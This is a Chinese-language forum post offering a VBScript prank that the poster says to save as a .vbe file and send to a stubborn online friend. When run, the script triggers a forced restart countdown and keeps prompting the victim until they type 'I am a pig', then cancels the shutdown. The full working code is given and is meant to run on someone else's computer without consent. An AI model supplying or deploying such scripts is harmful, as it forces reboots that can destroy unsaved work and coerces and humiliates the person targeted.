一个能让对方强行关机的程序

Skiy 2008-7-2 689

把下面这段代码存到记事本,最后保存格式为.vbe 发给倔强的网友吧,他会吃到苦头的。(记得自己不要开啊,开了不想关机就难堪了)





on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject('wscript.shell')
WSHshellA.run 'cmd.exe /c shutdown -r -t 10 -c ''说我是猪,不说我是猪就一分钟关你机,不信,试试···'' ',0 ,true 
dim a
do while(a <> '我是猪')
a = inputbox ('说我是猪,就不关机,快撒,说 ''我是猪'' ','说不说','不说',8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,'MsgBox'
loop
msgbox chr(13) + chr(13) + chr(13) + '早说就行了嘛'
dim WSHshell
set WSHshell = wscript.createobject('wscript.shell')
WSHshell.run 'cmd.exe /c shutdown -a',0 ,true 
msgbox chr(13) + chr(13) + chr(13) + '哈哈哈哈,真过瘾'



最新回复 (0)
返回
发新帖